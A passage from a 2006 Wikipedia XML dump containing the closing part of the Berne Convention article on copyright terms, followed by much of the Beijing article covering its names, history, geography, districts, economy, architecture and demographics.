However, having just an agreement about equal treatment wouldn't be of much use if the copyright laws in the member states were totally different from each other, as that could render the whole agreement useless. Of what benefit would the agreement be if an author in a country with strong protection had his book published in a country with weak or no protection? Consequently, the Berne Convention is not just an agreement about how copyright should be regulated between the member states but, more importantly, a set of minimum standards that each country's copyright laws must meet.

Copyright under the Berne Convention is automatic; no explicit registration is required.

The Berne Convention states that all works except photographic and cinematographic shall be protected for at least 50 years after the author's death, but parties are free to provide longer terms of protection, as the [[European Union]] did with the 1993 [[Directive on harmonising the term of copyright protection]]. For photography the Berne Convention sets a minimum of 25 years protection from the year the photograph was created, and for cinematography the minimum is 50 years after first showing, or 50 years after creation if it hasn't been shown within 50 years after the creation.
Countries under the older revisions of the treaty may choose to provide, and certain types of works (such as phonorecords and motion pictures) may be provided shorter terms.

Although the Berne Convention states that the copyright law of the country where protection is claimed shall be applied, article 7.8 states that &quot;unless the legislation of that country otherwise provides, the term shall not exceed the term fixed in the country of origin of the work&quot;, i.e. an author is normally not entitled longer protection abroad than at home, even if the laws abroad give longer protection.

==See also==

* [[Berne three-step test]]
* [[Buenos Aires Convention]]
* [[Copyright treaty table]]
* [[International copyright law]]
* [[Official text copyright]]
* [[Public domain]]
* [[Rome Convention]]
* [[Universal Copyright Convention]]

==External links==
* [http://www.law-ref.org/BERN/index.html The 1871 Berne Convention text] - fully indexed and crosslinked with other documents
* [http://www.wipo.int/treaties/en/ip/berne/index.html The current Berne Convention text]
* [http://www.wipo.int WIPO]
* [http://www.wipo.int/treaties/en/ Intellectual Property Protection Treaties]
* [http://www.copyright.gov/circs/circ38a.pdf U.S. Copyright office list of countries having copyright relations with the United States (including list of Berne Union countries)]


[[Category:Intellectual property treaties]]
[[Category:Copyright law]]
[[Category:1886 in law]]

[[cs:Bernská úmluva o ochraně literárních a uměleckých děl]]
[[de:Berner Übereinkunft zum Schutz von Werken der Literatur und Kunst]]
[[es:Convenio de Berna]]
[[fr:Convention de Berne pour la protection des œuvres littéraires et artistiques]]
[[ko:베른 협약]]
[[nl:Conventie van Bern (1886)]]
[[ja:文学的及び美術的著作物の保護に関するベルヌ条約]]
[[pl:Konwencja berneńska o ochronie dzieł literackich i artystycznych]]
[[vi:Công ước Bern]]</text>
    </revision>
  </page>
  <page>
    <title>Beijing</title>
    <id>3946</id>
    <revision>
      <id>41916274</id>
      <timestamp>2006-03-02T16:25:06Z</timestamp>
      <contributor>
        <ip>194.81.199.53</ip>
      </contributor>
      <comment>/* Education */</comment>
      <text xml:space="preserve">:''Peking is also the name of an asteroid, see [[2045 Peking]].''
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''北京市&lt;br /&gt;Běijīng Shì&lt;/font&gt;'''
|-
| align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot; | &lt;font size=&quot;-1&quot;&gt;[[Abbreviation]]: 京 ([[pinyin]]: Jīng)&lt;/font&gt;
|-
| align=&quot;center&quot; colspan=2 | [[Image:China-Beijing.png|Beijing is highlighted on this map]]
|-
| '''Name'''
|[[Chinese character]]s: 北京&lt;br /&gt;
[[Pinyin]]: Běijīng&lt;br /&gt;
[[Wade-Giles]]: Pei-ching&lt;br /&gt; 
[[Postal System Pinyin]]: Peking
|-
| '''Origin of name'''
| 北 běi - north &lt;br /&gt;京 jīng - capital &lt;br /&gt;&quot;northern capital&quot;
|-
| '''Administration type'''
| [[Municipality of China|Municipality]]
|-
| '''[[Communist Party of China|CPC]] Beijing Committee Secretary'''
| [[Liu Qi]] 刘淇
|-
| '''Mayor'''
| [[Wang Qishan]] 王岐山
|-
| '''[[Area]]'''
| 16,808 [[square kilometre|km²]] ([[List of China administrative regions by area|29th]])
|-
| '''[[Population]]''' ([[2004]]) &lt;br /&gt;&amp;nbsp;- [[Metropolitan area]]&lt;br /&gt;&amp;nbsp;- [[Density]]
| 14,930,000 ([[List of China administrative regions by population|26th]])  &lt;br /&gt; ''approx. 7.5 million''&lt;br /&gt; 888/km² ([[List of China administrative regions by population density|2nd]])
|-
| '''[[Gross domestic product|GDP]]''' ([[2004]])&lt;br /&gt;&amp;nbsp;- per capita
| [[Renminbi|CNY]] 428.3 billion ([[List of China administrative regions by gross domestic product|15th]]) &lt;br /&gt; [[Renminbi|CNY]] 28,700 ([[List of China administrative regions by GDP per capita|2nd]])
|-
| colspan=2 | &lt;small&gt;The rankings given above are in comparison with other [[province of China|province]]-level administrative divisions.&lt;/small&gt;
|-
| '''Major [[Nationalities of China|nationalities]]''' ([[2000]])
| [[Han Chinese|Han]] - 96%&lt;br /&gt;[[Manchu]] - 2%&lt;br /&gt;[[Hui people|Hui]] - 2%&lt;br /&gt;[[Mongol]] - 0.3%
|-
| '''City [[tree]]s'''
| [[Chinese arborvitae]] &lt;br /&gt; (''Platycladus orientalis'') &lt;br /&gt;[[Styphnolobium|Pagoda tree]] &lt;br /&gt; (''Sophora japonica'')
|-
| '''City [[flower]]s'''
| [[Chrysanthemum]] &lt;br /&gt;(''Chrysanthemum morifolium'') &lt;br /&gt;[[Chinese rose]] &lt;br /&gt; (''Rosa chinensis'')
|-
| '''[[Political divisions of China#County level|County-level divisions]]'''
| 18
|-
| '''[[Political divisions of China#Township level|Township-level divisions]]'''&lt;br/&gt;{[[December 31]], [[2004]])
| 273
|-
| '''[[Postal code of China|Postal code]]'''
| '''1000'''00 - '''1026'''00
|-
| '''[[China telephone numbering plan|Area code]]'''
| 10
|-
| rowspan=&quot;5&quot; | '''[[Mainland Chinese licence plates|Licence plate]] prefixes'''
| 京A, C, E, F, H, J
|-
| 京B (taxis)
|-
| 京G (outside urban area)
|-
| 京O (police and authorities)
|-
| 京V (military headquarters &amp; central government)
|-
| '''[[ISO 3166-2]]'''
| CN-11
|-
| colspan=2 align=center | '''Official [[website]]''': &lt;br /&gt; [http://www.beijing.gov.cn www.beijing.gov.cn] ([[Simplified Chinese]]) &lt;br /&gt; [http://www.ebeijing.gov.cn www.ebeijing.gov.cn] ([[English language|English]])
|}
'''{{Audio|Zh-Beijing.ogg|Beijing}}''' ([[IPA]] pei˩ tɕɪŋ˦), a city in northern [[China]], is the [[Capital of China|capital]] of the [[People's Republic of China]] (PRC). Beijing is one of the four [[municipality of China|municipalities]] of the PRC, equivalent to a [[province of China|province]] in China's [[Political divisions of China|administrative structure]]. Beijing Municipality borders [[Hebei|Hebei Province]] to the north, west, south, and for a small section in the east, and [[Tianjin|Tianjin Municipality]] to the southeast. 

Beijing is China's second largest city in terms of [[population]], after [[Shanghai]]. It is a major transportation hub, with dozens of railways, roads and expressways entering and leaving it in all directions. It is also the focal point of many international flights to China. Beijing is recognized as the political, educational, and cultural center of the PRC, while [[Shanghai]] and [[Hong Kong]] predominate in economic fields.

Beijing is one of the [[Capital of China|Four Great Ancient Capitals of China]]. It will also host the [[2008 Summer Olympics]].

==Names==
Beijing (北京) literally means &quot;northern capital&quot;, in line with the common East Asian tradition whereby capital cities are explicitly named as such. Other cities similarly named include [[Nanjing]] (南京), China, meaning &quot;southern capital&quot;; [[Tokyo]] (東京), [[Japan]], and [[Tonkin]] (東京; now [[Hanoi]]), [[Vietnam]], both meaning &quot;eastern capital&quot;; as well as [[Kyoto]] (京都), [[Japan]], and [[Gyeongseong]] (京城; now [[Seoul]]), [[Korea]], both meaning simply &quot;capital&quot;.

The traditional customary name for Beijing in English is '''Peking'''.  The term originated with French missionaries four hundred years ago, and corresponds to an older pronunciation predating a subsequent [[sound change]] in [[Mandarin (linguistics)|Mandarin]] from {{IPA|[k&amp;#690;]}} to {{IPA|[t&amp;#597;]}}. ({{IPA|[t&amp;#597;]}} is represented in [[pinyin]] as '''j''', as in Bei'''j'''ing.)

In [[China]], the city has [[Geographical renaming|had many names]]. Between [[1928]]&amp;nbsp;[http://www.bartleby.com/67/2470.html] and [[1949]], it was known as '''Beiping''' (北平, [[Pinyin]]: Beiping, [[Wade-Giles]]: Pei-p'ing), literally &quot;Northern Peace&quot;.  The name was changed — with the removal of the element meaning &quot;capital&quot; (''jing'' or ''king'', 京) — to reflect the fact that, with the [[Kuomintang]] government having established its capital in [[Nanking]] (pinyin: Nanjing), Peking was no longer the capital of China, and that the warlord government based in Peking was not legitimate. 

The [[Communist Party of China]] reverted the name to Beijing (Peking) in 1949 again in part to emphasize that Beijing had returned to its role as China's capital. The government of the [[Republic of China]] on [[Taiwan]] has never formally recognized the name change, and during the 1950s and 1960s it was common in Taiwan for Beijing to be called Peiping to imply the illegitimacy of the PRC. Today, almost all of Taiwan, including the ROC government, uses ''Beijing'', although some [[maps]] of China from [[Taiwan]] still use the old name along with pre-1949 political boundaries.

'''Yanjing''' (燕京, [[Pinyin]]: Yānjīng, [[Wade-Giles]]: Yen-ching) is and has been another popular informal name for Beijing, a reference to the ancient [[State of Yan]] that existed here during the [[Zhou Dynasty]]. This name is reflected in the locally-brewed [[Yanjing Beer]] as well as [[Peking University|Yenching University]], an institution of higher learning that was merged into Peking University. Beijing is also the '''[[Cambuluc]]''' ('''Khanbaliq''') described in [[Marco Polo]]'s accounts.

(''The history section below outlines other historical names of Beijing.'')

== History ==
There were cities in the vicinities of Beijing by the [[1st millennium BC]], and the capital of the [[State of Yan]] (燕), one of the powers of the [[Warring States Period]], was established at Ji (T: 薊 / S: 蓟), near modern Beijing. Ji has often been claimed to be the beginning of Beijing; but in reality Ji had been abandoned no later than the [[6th century]]. The exact location of Ji remains unknown despite much effort in recent decades to identify the site. 

[[image:BeijingCityWalls1.jpg|thumb|300px|Remnants of city walls around Beijing (August 2004 image)]]

During the [[Sui Dynasty|Sui]] and [[Tang Dynasty|Tang]] dynasties, only small towns existed in this area. Numerous ancient poets came here to mourn the lost city, as testified by their compositions.

In [[936]], the [[Later Jin Dynasty (Five Dynasties)|Later Jin Dynasty]] ([[936]]-[[947]]) of northern China ceded a large part of its northern frontier, including modern Beijing, to the [[Khitan]] [[Liao Dynasty]] in the [[10th century]]. In [[938]] the [[Liao Dynasty]] set up a secondary capital in what is now Beijing, and called it Nanjing (the &quot;Southern Capital&quot;). In [[1125]], the [[Jurchen]] [[Jinn Dynasty|Jin Dynasty]] annexed Liao, and in [[1153]] moved its capital to Liao's Nanjing, calling it Zhongdu (中都), or &quot;the Central Capital&quot;. Zhongdu was situated in what is now the area centred around [[Tianningsi]], slightly to the southwest of central Beijing.

Mongol forces burned Zhongdu to the ground in [[1215]] and rebuilt its own &quot;Grand Capital&quot;, Dadu (大都, [[Wade-Giles]]:  ''Ta-tu''), to the north of the Jin capital in [[1267]], which was the true beginning of contemporary Beijing. This site is known as &quot;Cambuluc&quot; in [[Marco Polo]]'s accounts. Apparently, Kublai Khan, who wanted to become a Chinese emperor, established his capital in Beijing instead of more traditional sites in central China because Beijing was closer to his power base in Mongolia. The decision of the Khan greatly enhanced the status of a city that had been situated on the northern fringe of [[China proper]]. Dadu was situated north of modern central Beijing. It centred on what is now the northern stretch of the [[2nd Ring Road]], and stretched northwards to between the [[3rd Ring Road|3rd]] and [[4th Ring Road]]s. There are remnants of Mongol-era wall still standing.

In [[1403]], the 3rd Ming emperor [[Zhu Di]] (朱棣) moved the Ming capital from [[Nanjing]] to Beijing (北京), or &quot;Northern Capital&quot;, situated in the north. He also gave it its modern name. Beijing during the [[Ming Dynasty]] took its current shape, and the Ming-era city wall served as the walls to the city until modern times, when it was pulled down and the [[2nd Ring Road]] was built in its place.

It is believed that Beijing was the largest city in the world from 1425 to 1650 and from 1710 to 1825. It was the first city to reach a population of above 5,000,000.[http://geography.about.com/library/weekly/aa011201a.htm]

The [[Forbidden City]] was constructed soon after that ([[1406]]-[[1420]]), followed by the [[Temple of Heaven]] ([[1420]]), and numerous other construction projects. [[Tian'anmen]], which has become a state symbol of the [[People's Republic of China]] and is featured on its emblem, was burned down twice during the Ming Dynasty and the final reconstruction was carried out in [[1651]]. 

[[Image:Forbidden City1.JPG|300px|thumb|The [[Forbidden City]], home to the emperors of the [[Ming Dynasty|Ming]] and [[Qing Dynasty|Qing]] dynasties]]
[[Image:BeijingFromTian'anmenChenglouJul2004.jpg|thumb|300px|Beijing's [[Tian'anmen Square]], as seen from the Tian'anmen Chenglou Building (taken in July of 2004)]]

After the [[Manchu]]s overthrew the Ming Dynasty and established the [[Qing Dynasty]] in its place, Beijing remained China's capital throughout the Qing period.

The [[Xinhai Revolution]] of [[1911]], aimed at replacing Qing rule with a republic, originally intended to establish its capital at [[Nanjing]]. After high-ranking Qing official [[Yuan Shikai]] forced the abdication of the Qing emperor in Beijing and ensured the success of the revolution, the revolutionaries in Nanjing accepted that Yuan should be the president of the ROC, and that the capital should remain at Beijing.

Yuan gradually consolidated power, culminating in his declaration of a Chinese Empire in late [[1915]] with himself as Emperor. The move was highly unpopular, and Yuan himself died less than a year later, ending his brief reign. China then fell under the control of regional warlords, and the most powerful factions fought frequent wars (The [[Zhili-Anhui War]], the [[First Zhili-Fengtian War]] and the [[Second Zhili-Fengtian War]]) to take control of the capital at Beijing.

Following the success of the [[Kuomintang]]'s [[Northern Expedition]] which pacified the warlords of the north, Nanjing was officially made the capital of the Republic of China in [[1928]], and Beijing was renamed Beiping (&quot;Northern Peace&quot; or &quot;North Pacified&quot;) to emphasize that the warlord government in Beijing was not legitimate.

During the [[second Sino-Japanese War]], Beiping fell to [[Japan]] on [[July 29]], [[1937]]. During the occupation, the city was reverted to its former name, Beijing, and made the seat of the [[North China Executive Committee]] (T: 華北政務委員會 / S: 华北政务委员会), a [[puppet state]] that ruled Japanese-occupied [[North China]]. With Japan's surrender in [[World War II]], on [[August 15]], [[1945]], however, Beijing's name was changed back to Beiping.

On [[January 31]], [[1949]], during the [[Chinese Civil War]], Communist forces entered Beiping without a fight. On [[October 1]] of the same year, the [[Communist Party of China]], under the leadership of [[Mao Zedong]], announced in [[Tian'anmen]] the creation of the [[People's Republic of China]] in Beijing. Just a few days earlier, the [[Chinese People's Political Consultative Conference]] had decided that Beiping would be the capital of the PRC, and that its name be changed back to Beijing.

At the time of the founding of the People's Republic, Beijing Municipality consisted of just its urban area and immediate suburbs. The urban area was divided into many small districts inside what is now the [[2nd Ring Road (Beijing)|2nd Ring Road]]. Since then several surrounding [[county of China|counties]] have been incorporated into the Municipality, enlarging the limits of Beijing Municipality by many times and giving it its present shape. The [[Beijing city wall]] was torn down between [[1965]] and [[1969]] to make way for the construction of the [[2nd Ring Road (Beijing)|2nd Ring Road]].

Following the [[Chinese economic reform|economic reforms]] of [[Deng Xiaoping]], the urban area of Beijing has expanded greatly. Formerly within the confines of the [[2nd Ring Road]] and the [[3rd Ring Road]], the urban area of Beijing is now pushing at the limits of the recently-constructed [[5th Ring Road]] and [[6th Ring Road]] (currently under construction), with many areas that were formerly farmland now developed residential or commercial neighborhoods. A new commercial area has developed in the [[Guomao]] area, [[Wangfujing]] and [[Xidan]] have developed into flourishing shopping districts, while [[Zhongguancun]] has become a major center of electronics in China.

As the national capital, Beijing has also been the site of political turmoil in recent years. [[Tiananmen Square]], widely regarded as the spiritual center of China, was the site of first the [[Tiananmen Square protests of 1976]] and then the [[Tiananmen Square protests of 1989]], which ended in a military crackdown. Tiananmen Square has also been the site of protests by [[Falun Gong]].

In recent years, the expansion of Beijing has also brought to the forefront some problems of urbanization, such as heavy traffic, poor [[air quality]], the loss of historic neighborhoods, and significant influx of migrants from poorer regions of the country, especially rural areas.

Early [[2005]] saw the approval by government of a plan to finally stop the sprawling development of Beijing in all directions. Development of the Chinese capital would now proceed in two semicircular bands just outside of the city centre (both west and east) instead of being in concentric rings.

Beijing has been chosen to host the [[2008 Summer Olympics]], an event that has sparked nationalistic pride across China.

== Geography and Climate ==
:''Main article: [[Geography of Beijing]]''
[[image:Large Beijing Landsat.jpg|thumb|300px|A simulated-color image of Beijing, taken by [[NASA]]'s [[Landsat 7]].]]
Beijing is situated at the northern tip of the roughly triangular [[North China Plain]] which opens to the south and east of the city. Mountains to the north, northwest and west shield the city and northern China's agricultural heartland from the encroaching desert steppes. The northwestern part of the municipality, especially [[Yanqing County]] and [[Huairou]] District, are dominated by the [[Jundu Mountains]], while the western part of the municipality is framed by the [[Xishan Mountains]]. The [[Great Wall of China]], which stretches across the northern part of Beijing Municipality, made use of this rugged topography to defend against nomadic incursions from the steppes. [[Mount Dongling]] in the Xishan ranges and on the border with [[Hebei]] is the municipality's highest point, with an altitude of 2303 [[metre|m]].  Major rivers flowing through the municipality include the [[Yongding River]] and the [[Chaobai River]], which are part of the [[Haihe River]] system, and flow in a southerly direction. Beijing is also the northern terminus of the [[Grand Canal of China]] which was built across the North China Plain to [[Hangzhou]]. [[Miyun Reservoir]], built on the upper reaches of the [[Chaobai River]], is Beijing's largest reservoir, and crucial to its water supply.

The urban area of Beijing, located at {{coor dms|39|54|20|N|116|23|29|E|}} (39.9056, 116.3914), is situated in the south-central part of the municipality and occupies a small but expanding part of the municipality's area. It spreads out in bands of concentric [[Ring Roads of Beijing|ring roads]], of which the fifth and outermost (the [[Sixth Ring Road]]; the numbering starts at 2) passes through several satellite towns. [[Tian'anmen]] (Gate of Heavenly Peace) and [[Tian'anmen Square]] are at the centre of Beijing, and are directly to the south of the [[Forbidden City]], former residence of the emperors of China. To the west of Tian'anmen is [[Zhongnanhai]], current residence of the paramount leaders of the [[People's Republic of China]]. Running through central Beijing from east to west is [[Chang'an Avenue]], one of Beijing's main thoroughfares.

The city's [[climate]] is harsh, characterized by hot, humid summers due to the East Asian [[monsoon]], and cold, windy, dry winters that reflect the influence of the vast [[Siberian]] [[anticyclone]]. Average temperatures in January are at around -7 to -4 °[[Celsius|C]], while average temperatures in [[July]] are at 25 to 26 °[[Celsius|C]]. Annual [[precipitation (meteorology)|precipitation]] is over 600 [[millimeter|mm]], with 75% of that in [[summer]]. [http://www.beijing.gov.cn/bjgm/default.htm]

Beijing also suffers from heavy pollution and poor [[air quality]] from industry and traffic. Dust from erosion of deserts in northern and northwestern China result in seasonal [[dust storm]]s that plague the city. Efforts have been made of late to clean up Beijing in preparation for the [[2008 Summer Olympics]].

==City layout==
=== Neighbourhoods ===
[[Image:Wangfujing Nankou.jpg|thumb|300px|Southern end of [[Wangfujing]] Road (July 2004 image)]][[Image:Beijing By Night 2003.jpg|thumb|300px|Beijing by night.]]
[[Image:Xidan Xinhuashudian.jpg|thumb|300px|Beijing Bookstore at [[Xidan]].]]
Major neighbourhoods in urban Beijing include the following. Neighborhoods may overlap across multiple districts (see below):
*[[Andingmen]] 安定门
*[[Beiyuan]] 北苑
*[[Chaoyangmen]] 朝阳门
*[[Dongzhimen]] 东直门
*[[Fangzhuang]] 方庄
*[[Fuchengmen]] 阜成门
*[[Fuxingmen]] 复兴门
*[[Guomao]] 国贸
*[[Hepingli]] 和平里
*[[Wangjing]] 望京
*[[Wangfujing]] 王府井
*[[Wudaokou]]  五道口
*[[Xidan]] 西单
*[[Yayuncun]] 亚运村
*[[Zhongguancun]]  中关村
Several place names in Beijing end with ''men'' (门), meaning &quot;gate&quot;, as they were the locations of gates in the former [[Beijing city wall]]. Other place names end in ''cun'' (村), meaning &quot;village&quot;, as they were originally villages outside the city wall.

=== Towns ===
Towns within Beijing Municipality but outside the urban area include:
*[[Changping]] 昌平
*[[Huairou]] 怀柔
*[[Miyun]] 密云
*[[Liangxiang]] 良乡
*[[Liulimiao]] 琉璃庙
*[[Tongzhou]]  通州
*[[Yizhuang]] 亦庄wim

===Administrative divisions===
Beijing Municipality currently comprises 18 administrative sub-divisions, [[Political divisions of China#County level|county-level units]] governed directly by the municipality (second-level divisions). Of these, 16 are [[district of China|district]]s and 2 are [[county of China|counties]].

The urban and suburban areas of the city are divided into eight districts:

*[[Dongcheng District]] (东城区: Dōngchéng Qū)
*[[Xicheng District]] (西城区: Xīchéng Qū)
*[[Chongwen District]] (崇文区: Chóngwén Qū)
*[[Xuanwu District, Beijing|Xuanwu District]] (宣武区: Xuānwǔ Qū)
*[[Chaoyang District, Beijing|Chaoyang District]] (朝阳区: Cháoyáng Qū)
*[[Haidian District]] (海淀区: Hǎidiàn Qū)
*[[Fengtai District]] (丰台区: Fēngtái Qū)
*[[Shijingshan District]] (石景山区: Shíjǐngshān Qū)

The other eight districts and the two counties are located further out, and govern more distant suburbs, satellite towns, and some rural areas:

*[[Mentougou District]] (门头沟区: Méntóugōu Qū)
*[[Fangshan District]] (房山区: Fángshān Qū) &amp;mdash; Fangshan County until [[1986]]
*[[Tongzhou District]] (通州区: Tōngzhōu Qū) &amp;mdash; Tong County until [[1997]]
*[[Shunyi District]] (顺义区: Shùnyì Qū) &amp;mdash; Shunyi County until [[1998]]
*[[Changping District]] (昌平区: Chāngpíng Qū) &amp;mdash; Changping County until [[1999]]
*[[Daxing District]] (大兴区: Dàxīng Qū) &amp;mdash; Daxing County until [[2001]]
*[[Pinggu District]] (平谷区: Pínggǔ Qū) &amp;mdash; Pinggu County until [[2001]]
*[[Huairou District]] (怀柔区: Huáiróu Qū) &amp;mdash; Huairou County until [[2001]]

*[[Miyun County]] (密云县: Mìyún Xiàn)
*[[Yanqing County]] (延庆县: Yánqìng Xiàn)

Beijing's 18 districts and counties are further subdivided into 273 lower (third)-level administrative units at the [[Political divisions of China#Township level|township level]]: 119 [[town of China|town]]s, 24 [[township of China|township]]s, 5 [[ethnic township]]s and 125 [[subdistrict]]s.[[image:Modern Beijing Skyline Oct2004.jpg|thumb|300px|The [[Beijing CBD]] area around [[Dawangqiao]] and [[Dabeiyao]], as seen from the [[Jingtong Expressway]].]]
[[image:Bejingcbd.jpg|thumb|300px|A corner of the emerging Beijing CBD.]]

== Economy ==
In 2005, Beijing's nominal GDP was 681.45 billion [[Renminbi|RMB]], a year-on-year growth of 11.1% from the previous year. Its per capita GDP was 44,969 RMB, an increase of 8.1% from the previous year and nearly twice as much as in 2000. Beijing's primary, secondary, and tertiary industries were worth 9.77 billion RMB, 210.05 billion RMB, and 461.63 billion RMB. Urban [[disposable income]] per capita was 17,653 yuan, a [[real price|real]] increase of 12.9% from the previous year. Per capita pure income of rural residents was 7,860 RMB, a real increase of 9.6%. Per capita disposable income of the 20% low-income residents increased 16.7%, 11.4 percentage points higher than the growth rate of the 20% high-income residents. The [[Engel's coefficient]] of Beijing's urban residents reached 31.8% in 2005 and that of the rural residents was 32.8%, declining 4.5 percentage points and 3.9 percentage points, respectively, compared with 2000. [respectively [http://www.bjstats.gov.cn/tjyl/tjgb/200601240023.htm]

Beijing's [[real estate]] and [[automobile]] sectors continue to bloom in recent years. In 2005, a total of 28.032 million [[square metre]]s of housing real estate was sold, for a total of 175.88 billion [[Renminbi|RMB]]. The total number of automobiles registered in Beijing in 2004 was 2,146,000, of which 1,540,000 were privately-owned (a year-on-year increase of 18.7%). [http://www.bjstats.gov.cn/tjyl/tjgb/200601240023.htm]

The [[Beijing CBD]], centered at the [[Guomao]] area, has been identified as the city's new [[central business district]], and is home to a variety of corporate regional headquarters, shopping malls, and high-end housing. The [[Beijing Financial Street]], in the [[Fuxingmen]] and [[Fuchengmen]] area, is a traditional financial center. The [[Wangfujing]] and [[Xidan]] areas are major shopping districts. [[Zhongguancun]], dubbed &quot;China's Silicon Valley&quot;, continues to be a major center in [[electronics]]- and [[computer]]-related industries, as well as [[pharmaceuticals]]-related research. Meanwhile, [[Yizhuang]], located to the southeast of the urban area, is becoming a new center in pharmaceuticals, IT, and materials engineering. [http://www.beijing.gov.cn/bjgm/jjjs/t20030925_2414.htm] Urban Beijing is also known for being a center of pirated goods and anything from the latest designer clothing to the latest DVDs can be found in markets all over the city, often marketed to expatriates and international visitors.

Major industrial areas include [[Shijingshan]], located on the western outskirts of the city. &lt;!-- More information on Beijing's heavy and light industries please!--&gt;[[Agriculture]] is carried out outside the urban area of Beijing, with [[wheat]] and [[maize]] (corn) being the main crops. [[Vegetable]]s are also grown in the regions closer to the urban area in order to supply the city.

The development of Beijing continues to proceed at a rapid pace, and the vast expansion of Bejing has created a multitude of problems for the city. Beijing is known for its [[smog]] as well as the frequent &quot;power-saving&quot; programs instituted by the government. Citizens of Beijing as well as tourists frequently complain about the quality of the water supply and the cost of the basic services such as electricity and natural gas. The major industrial areas outside of Beijing were ordered to clean their operations or leave the Beijing area in an effort to alleviate the smog that covers the city. Most factories, unable to update, have moved and relocated to other cities such as [[Xi'an]], China.

== Architecture ==
Three styles of architecture predominate in urban Beijing. First, the traditional architecture of imperial China, perhaps best exemplified by the massive [[Tian'anmen]] (Gate of Heavenly Peace), which remains the PRC's trademark edifice, the [[Forbidden City]], and the [[Temple of Heaven]]. Next there is what is sometimes referred to as the &quot;Sino-Sov&quot; style, built between the [[1950s]] and the [[1970s]], which tend to be boxy, bland, and poorly made. Finally, there are much more modern architectural forms &amp;mdash; most noticeably in the area of the [[Beijing CBD]]. Pictured below are some images of Beijing architecture &amp;mdash; blending the old and the new.

&lt;gallery&gt;
Image:Ancient Beijing Skyline.jpg|The ancient Beijing skyline.
Image:70s_Architecture_Beijing.jpg|The boxy look of buildings made in the [[1970s]].
Image:Architecture_Beijing_Modern.jpg|The very modern contrast.
Image:Old_Roof_Architecture_Beijing.jpg|Details of traditional architecture.
Image:BeijingArchitectureCombo70s90s.jpg|A mix of 70s and 90s styles.
Image:Blend Architecture Beijing.jpg|Mix and match of the old and the new.
Image:TianGuard.jpg|Tian'anmen Square
Image:Wangfujing.jpg|Wangfujing, a major commercial street.
&lt;/gallery&gt;

A bizarre and striking mix of both old and new styles of architecture can be seen at the [[Dashanzi]] [[Dashanzi Art District|Art District]], which mixes [[1950s]]-design with a blend of the new.  The influence of American urban form and social values in manifest in the creation of [[Orange County, China]], a suburban development about one hour north of the city.

== Demographics ==
[[Image:Beijing wangjing 1.jpg|thumb|250px|The [[Wangjing]] neighbourhood, in [[Chaoyang District, Beijing]], is known for its high concentration of [[South Korea]]n expatriates.]]
[[Image:WangfujingCathedral.jpg|thumb|250px|Wangfujing Cathedral]]
The population of Beijing Municipality, defined as the total number of people who reside in Beijing for 6 months or more per year, was 15.38 million in 2005. 11.870 million people in Beijing Municipality had Beijing ''[[hukou]]'' (permanent residence) and the remainder were on temporary residence permits. [http://www.bjstats.gov.cn/tjyl/tjgb/200601240023.htm] In addition, there is a large but unknown number of [[migrant worker]]s (''min gong'') who live illegally in Beijing without any official residence permit (also termed ''hei ren''which means &quot;black people&quot; or unregistered people). The population of Beijing's urban core (city proper) is around 7.5 million.

Over 95% of Beijing's residents belong to the [[Han Chinese]] majority. Smaller populations consisting of members of the [[Manchu]], [[Hui people|Hui]], and [[Mongol]] [[Ethnic groups of China|ethnic groups]] also call the city home. In recent years there has been an influx of [[South Korea]]n expatriates, who live in Beijing predominantly for business and study, and are concentrated in the [[Wangjing]] and [[Wudaokou]] areas. A Tibetan [[high school]] exists for youth of Tibetan ancestry, nearly all of whom have come to Beijing from [[Tibet]] expressly for their studies.

A sizable international or expatriate community exists in Beijing, mostly attracted by the highly growing foreign business and trade sector, and many members live in the Beijing urban area's densely populated northern, northeastern and eastern sections. The southwest and southern parts of the Beijing urban area are less densely populated. 

{| class=&quot;wikitable&quot;
! align=center colspan=3 | Ethnic groups in Beijing, 2000 census
|-
! [[Nationalities of China|Nationality]] !! Population !! Percentage
|-
| [[Han Chinese]] || 12,983,696 || 95.69%
|-
| [[Manchu]] || 250,286 || 1.84%
|-
| [[Hui people|Hui]] || 235,837 || 1.74%
|-
| [[Mongol]] || 37,464 || 0.28%
|-
| [[Korean people|Korean]] || 20,369 || 0.15%
|-
| [[Tujia]] || 8372 || 0.062%
|-
| [[Zhuang]] || 7322 || 0.054%
|-
| [[Hmong|Miao]] || 5291 || 0.039%
|-
| [[Uyghur]] || 3129 || 0.023%
|-
| [[Tibetan people|Tibetan]] || 2920 || 0.022%
|}
Excludes members of the [[People's Liberation Army]] in active service.&lt;br/&gt;
Source: Department of Population, Social, Science and Technology Statistics of the National Bureau of Statistics of China (国家统计局人口和社会科技统计司) and Department of Economic Development of the State Ethnic Affairs Commission of China (国家民族事务委员会经济发展司), eds. ''Tabulation on Nationalities of 2000 Population Census of China'' (《2000年人口普查中国民族人口资料》). 2 vols. Beijing: Nationalities Publishing House (民族出版社), 2003. (ISBN 7105054255)

== Culture ==
People native to urban Beijing speak the [[Beijing dialect]], which belongs to the Mandarin subdivision of [[Chinese spoken language|spoken Chinese]]. [[Beijing dialect]] provides the basis for [[Standard Mandarin]], the standard Chinese language used in the [[People's Republic of China]], the [[Republic of China]] on [[Taiwan]], and [[Singapore]]. Rural areas of Beijing Municipality have their own dialects akin to those of [[Hebei]] province, which surrounds Beijing Municipality.

[[Beijing Opera]], or Peking Opera (''Jingju''), is well-known throughout the national capital. Commonly lauded as one of the highest achievements of Chinese culture, Beijing Opera is performed through a combination of song, spoken dialogue, and codified action sequences, such as gestures, movement, fighting and acrobatics. Much of Beijing Opera is carried out in an archaic [[stage dialect]] quite different from modern Standard Mandarin and from the [[Beijing dialect]]; this makes the dialogue somewhat hard to understand, and the problem is compounded if one is not familiar with Chinese.  As a result, modern theaters often have electronic titles in Chinese and English.

[[Image:BejingOperaProduction.jpg|thumb|right|400px|A Beijing performance of the well-known opera ''Farewell my Concubine'' (September 2002).]]
[[Image:Beijing Hutongs Mar2003.jpg|right|thumb|300px|A '''hutong'''（胡同） in eastern urban Beijing near [[Dongsishitiao]]. When photographed in [[March 2003]], the left side was still standing; it has since given way to a new construction project.]]

